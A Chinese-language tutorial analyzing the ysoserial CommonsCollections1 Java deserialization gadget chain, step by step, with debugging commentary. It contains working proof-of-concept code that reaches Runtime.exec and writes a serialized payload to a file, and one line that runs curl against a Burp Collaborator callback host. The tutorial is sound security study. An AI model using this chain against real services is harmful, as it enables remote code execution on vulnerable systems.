Ysoserial CommonsCollections1分析
Ysoserial CommonsCollections1分析
准备工作
先贴上整条cc1的Gadget chain
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Apache Commons Collections3.1下载:https://archive.apache.org/dist/commons/collections/
新建项目,导入commons-collections-3.1.jar
包,新建一个payload测试demo(这个demo只是cc1的一部分,整条cc链比较复杂,先挑出这部分执行命令的payload,之后再把反序列化点加进来)
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Cc1Demo {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
onlyElement.setValue("foobar");
}
}
先运行下看看,运行后弹出计算器
Payload分析
下面我们一点一点分析这个payload Demo最后是如何去执行命令的
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
首先看main方法中的第一个部分,这里new了一个类型为Transformer的数组,跟进去看一下
Transformer
看源码可知,Transformer是一个接口,该接口定义了一个transform()方法。而上面poc中,new了一个Transformer类型的数组transformers,这个数组中存储的值为Transformer接口的实现类对象。
那么看一下这个数组中的几个值,分别是
- new ConstantTransformer(Runtime.class)
- new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] })
- new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] })
- new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
首先跟进看下new ConstantTransformer(Runtime.class)
ConstantTransformer
这里直接跳到了ConstantTransformer的有参构造方法,在上面可以看到该类实现了Transformer和Serializable接口,所以也一定会实现Transformer接口的transform方法。在上面数组的第一个值new ConstantTransformer(Runtime.class)
中,对ConstantTransformer的有参构造方法传入的参数是Runtime.class
,这里有参构造完成了一个将该参数赋值给了属性iConstant的属性赋值操作,而transform方法会将我们传入的Runtime.class对象返回出来,后面会说明这个transform方法具体在什么时候被调用。
上面也提到了,因为new数组时的数据类型为Transformer接口,所以该数组存储的都是实现了该接口的实现类的实例化对象,而该数组的第一个值即为new ConstantTransformer(Runtime.class)
之后生成的实例化对象。
InvokerTransformer
Transformer implementation that creates a new object instance by reflection.(通过反射,返回一个对象)
下面看下第二个值new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] })
首先看下InvokerTransformer类。
InvokerTransformer类也是Transformer接口的实现类,它的有参构造方法有3个参数
- String iMethodName:要调用的方法名
- Class[] iParamTypes:传入方法的参数类型
- Object[] args:要传入的参数
重写的transform方法中利用了反射机制去调用执行这些方法(getMethod().invoke())
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}
ChainedTransformer
- Transformer implementation that chains the specified transformers together.(把transformer连接成一条链,对一个对象依次通过链条内的每一个transformer进行转换)
这里将上面定义的transformers数组传入ChainedTransformer并创建实例化对象
Transformer transformerChain = new ChainedTransformer(transformers);
跟进看下ChainedTransformer类,同样是Transfomer的实现类
在构造方法中将我们传入的transform数组传给了iTransformers
ChainedTransformer重写的transform方法会将传入的参数object根据数组iTransformers的长度进行遍历并调用iTransformers数组元素的transform方法。
Map
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
在分析代码前先把下面涉及到的知识点学习一下。这里引用一段别人对Map的理解
利用Transform来执行命令有时还需要绑定到Map上,这里就讲一下Map。抽象类AbstractMapDecorator是Apache Commons Collections引入的一个类,实现类有很多,比如LazyMap、TransformedMap等,这些类都有一个decorate()方法,用于将上述的Transformer实现类绑定到Map上,当对Map进行一些操作时,会自动触发Transformer实现类的tranform()方法,不同的Map类型有不同的触发规则。
而在这个payload demo中,setValue("foobar")只是为了进行修改innerMap("value","value")的值进而最终触发ChainedTransformer中的transform方法来达成命令执行。
再来看最后这部分代码,通过setValue方法修改Map中的value的值来触发最后在ChainedTransformer类中调用transform方法
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式
onlyElement.setValue("foobar");
调试分析
那么先来调试一下这个简易版的cc1 demo,在onlyElement.setValue("foobar");
处打断点进行分析
首先进入AbstractInputCheckedMapDecorator#setValue(Object value)方法,继续跟进看一下
调用的是TransformedMap#checkSetValue方法,根据上面对TransformedMap类的分析,在payload中经过如下语句
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
会生成一个TransformedMap类的对象,并且在这里根据debug中的参数信息也可以看到this.valueTransformer
就是我们上面的数组transformers
继续跟进,在ChainedTransformer类中调用transform方法。该方法会对数组进行遍历并挨个调用数组内每个元素的transform方法,并将第一次执行的结果作为第二次的参数传递进去。
官方说明:
将指定的转换器连接在一起的转化器实现。 输入的对象将被传递到第一个转化器,转换结果将会输入到第二个转化器,并以此类推
在debug信息可以看到,第0个元素为ConstantTransformer对象,所以会走该类的transform方法,根据传入的值为new ConstantTransformer(Runtime.class)
最终返回java.lang.Runtime
这里因为Runtime.class是Runtime类的class对象,这个class代表的是Runtime这个类,所以最终返回java.lang.Runtime
继续跟进,此时第一次的结果java.lang.Runtime会作为参数进入第二次循环
后面第1、2、3个元素都是InvokerTransformer类的实例化对象,所以会走InvokerTransformer的transform方法
因为要调用3次该方法,上面也提到了它的大致作用,这里我们带入参数剖析一下这3次的执行过程是怎样的。
第一次进入调用方法,首先是从ConstantTransformer#transform方法出来返回了java.lang.Runtime作为第二次循环的参数进入InvokerTransformer#transform方法。我们根据参数java.lang.Runtime和数组中的元素new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] })
可以得到这里的transform方法会变为这样
try {
//step1:获取java.lang.class类,input=Runtime.class, cls=java.lang.class
Class cls = Runtime.class.getClass();
//step2:获取getMthod()方法, cls=java.lang.class, method=java.lang.class.getMethod()
Method method = cls.getMethod("getMethod", new Class[] {String.class, Class[].class });
//step3:激活执行getRuntime()获取Runtime.getRuntime()方法
return method.invoke(Runtime.class, new Object[] {"getRuntime", new Class[0] });
}
Runtime.class.getClass().getMethod("getRuntime")
第二次调用该方法,首先上次的结果Runtime.getRuntime()
方法作为参数传入并根据 new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] })
推演下第二次transform的执行
第二次调用执行过程:
try {
//step1:获取Method类,input=Runtime.getRuntime() 因为传入的是getRuntime()方法所以类型为Method类
Class cls = input.getClass();
//step2:寻找并获取invoke方法, cls=java.lang.Method, method=java.lang.Method.invoke()
Method method = cls.getMethod("invoke", new Class[] {String.class, Class[].class });
//step3:激活执行invoke
return method.invoke(input, new Object[] {"getRuntime", new Class[0] });
}
结合第一次调用过程,这里相当于执行了
Runtime.class.getClass().getMethod("getRuntime").invoke()
也就是返回了一个Runtime类的实例对象,作为第三次调用transform方法的参数。
第三次调用transform,这里invoke传入的是Runtime类的实例化对象
try {
//step1:获取Runtime的class对象
Class cls = input.getClass();
//step2:获取Runtime类的exec方法, cls=java.lang.Method, method=java.lang.Method.invoke()
Method method = cls.getMethod("exec", new Class[] {String.class });
//step3:激活执行invoke
return method.invoke(input, new Object[] {"open /System/Applications/Calculator.app"});
}
最后达成了执行命令的目的,第三次调用相当于执行了:
Runtime类的实例化对象.getClass().getMethod("exec",null).invoke(Runtime类的实例化对象,"open /System/Applications/Calculator.app")
java.lang.Runtime.getRuntime().class.getMethod("exec",null).invoke(java.lang.Runtime.getRuntime(),"curl 6z6syds6t8lxhpztbhff5ffq6hc70w.burpcollaborator.net")
回看ChainedTransformer中transform的执行过程,首先通过ConstantTransformer调用transform方法返回Runtime的class对象,之后将其作为参数传入InvokerTransformer的transform方法中,然后获取了Runtime.getRuntime()方法,再然后将getRuntime()方法作为参数传入并通过invoke调用执行getRuntime()方法获得Runtime类的实例化对象,最终该对象作为第三次调用的参数传入并通过调用exec方法执行命令。这里用一张orleven师傅的图加深下理解
在这个过程中,最有趣的莫过于第二次执行InvokerTransformer的transform方法了,通过getRuntime()方法作为参数传入,在通过getMethod()方法找到invoke方法然后去完成调用getRuntime()生成Runtime的实例化对象。在transform的反射机制里又完成了一次反射...
这里其实还有一个问题,为什么需要这么麻烦,而不直接传Runtime对象进去就好了?
因为Runtime类并没有implements Serializable接口,所以不可以被反序列化,也就不能在后面通过反序列化的方式触发任意代码执行。
以上,cc1执行任意命令的部分就分析完了,那么下面就是找到如何自动调用InvokerTransformer
类中的transform()
方法,构造代码执行。最终有以下两个类可以触发
- TransformedMap
- LazyMap
TransformedMap
这里拿出一部分代码简单看下这个TransformedMap类
这里通过传入一个map对象和实现了Transformer接口的两个实例化对象keyTransformer、valueTransformer来return一个TransformedMap对象。需要注意的是因为该类构造方法存在protected修饰符,在别的包里是不可以直接new TransformedMap对象的,需要通过decorate()方法来创造一个TransformedMap对象。
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
private static final long serialVersionUID = 7023152376788900464L;
protected final Transformer keyTransformer;
protected final Transformer valueTransformer;
...
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
而对于checkSetValue方法中可以看到会调用valueTransformer.transform(value),依据我们前面分析,通过TransformedMap调用value中各个元素对应的transform方法。也就是说只要构造一个TransformedMap并且去修改value值,即可触发ChainedTransformed#transform。总体流程大致为:
AbstractInputCheckedMapDecorator#setValue ==> TransformedMap#checkSetValue ==> valueTransformer.transform(value) ==> ChainedTransformed#transform
LazyMap
首先这个类和TransformedMap一样,继承了抽象类AbstractMapDecorator,TransformedMap类的构造方法也被protected修饰,不可以直接new,需要调用decorate方法来生成LazyMap的实例化对象。
与TransformedMap不同的是,TransformedMap会在checkSetValue方法调用transform,而LazyMap在get方法中调用transform
当调用get(key)的key不存在时,会调用transformerChain的transform()方法。修改下poc我们来测试一下
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Cc1Demo {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
tmpmap.get("1");
}
}
在最后get方法处下断点,进入get方法,先判断是否存在key,若有则进入ChainedTransformed#transform方法
后面的执行流程就一致了,不再赘述,主要区别就是在于LazyMap是通过get方法跳入ChainedTransformer中的transform方法。
但是上面去构造任意代码执行的触发方式不管TransformedMap
的checkSetValue()
还是LazyMap
的get()
方法都是需要手动调用,真实情况下基本不可能实现,我们需要一种自动化的方式触发。那后面就是利用到了反序列化的机制,通过反序列化自动调用readObject方法自动触发我们后面一整个利用链的调用。
AnnotationInvocationHandler
这里找到的就是AnnotationInvocationHandler类。这个类是用来处理注解的类,有2个属性type
和memberValues
并且对readObject方法进行了重写。this.type
的注解要存在注解元素名(为了满足var3不为空),this.memberValues
中存在的一个键值对的键名与this.type
的注解要存在注解元素名相等。(为了满足var7!=null)同时这个键值对的键名不可改变,但是值可以改变。
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
this.type = var1;
this.memberValues = var2;
}
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
//this.type是实例化的时候传入的jdk自带的Target.class
//getInstance会获取到@Target的基本信息,包括注解元素,注解元素的默认值,生命周期,是否继承等等
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
return;
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
}
同时AnnotationInvocationHandler#invoke方法可以调用LazyMap#get方法,这个点最后整体调试的时候再详细的捋一下,这里先有个印象就好。
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else {
assert var5.length == 0;
if (var4.equals("toString")) {
return this.toStringImpl();
} else if (var4.equals("hashCode")) {
return this.hashCodeImpl();
} else if (var4.equals("annotationType")) {
return this.type;
} else {
//在此处调用get方法
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
AnnotationInvocationHandler需要用低版本的jdk去使用,在高版本改动过readObject代码,不能达到任意代码执行
下面放上完整的利用poc
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {
//构造runtime.exec("command")
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将数组作为参数生成ChainedTransformer对象
Transformer transformerChain = new ChainedTransformer(transformers);
//构造LazyMap对象,将其属性factory设置为transformerChain
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
//反射获取AnnotationInvocationHandler的有参构造方法和class对象
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
//暴力反射
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
oos.writeObject(handler);
}
整个poc还有几行没有分析,除去最后的序列化部分,剩下的为
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
第一行:InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
通过前面的反射获取的AnnotationInvocationHandler类的构造方法,传入LazyMap outerMap
和元注解的class对象Retention.class
来获取InvocationHandler的对象handler。
第二行:Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
这里创建了一个动态代理Map的对象proxyMap。
简单提下动态代理机制:
动态代理对象与真实对象会实现相同的接口,也就意味着会有相同的方法。
一般会用Proxy.newProxyInstance()
会返回一个代理对象。这个方法有3个参数
1、类加载器: 真实对象.getClass().getClassLoader()
2、实现的接口:真实对象.getClass().getInterfaces()
3、处理器: new InvocationHandler()
这下就和poc代码对应上了,这里就是生成了一个动态代理Map类的对象proxyMap
第三行:handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
这里传入Map类的动态代理对象proxyMap作为参数重新赋值给handler对象,来方便我们后续通过动态代理的特性:
代理对象调用任意方法,调用处理器中的
invoke()
方法都执行一次
来达到调用AnnotationInvocationHandler.invoke()方法的目的。
总结
那么回顾一下利用链,因为AnnotationInvocationHandler重写了readObject()方法,所以反序列化时执行的是经过重写的AnnotationInvocationHandler.readObject()方法,而在重写的readObject方法内会调用memberValues.entrySet()方法,而这里我们传入的参数是Map的动态代理对象proxyMap,并且因为动态代理的特性,动态代理对象执行了entrySet()方法那么就会使处理器AnnotationInvocationHandler的对象调用执行invoke()方法一次,而invoke方法调用了LazyMap.get()方法。在get方法内,factory为我们传入的数组Transformer[] transformers ,之后进入到ChainedTransformer.transform()对数组元素进行遍历并调用元素各自的transform方法,达到任意代码执行。
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()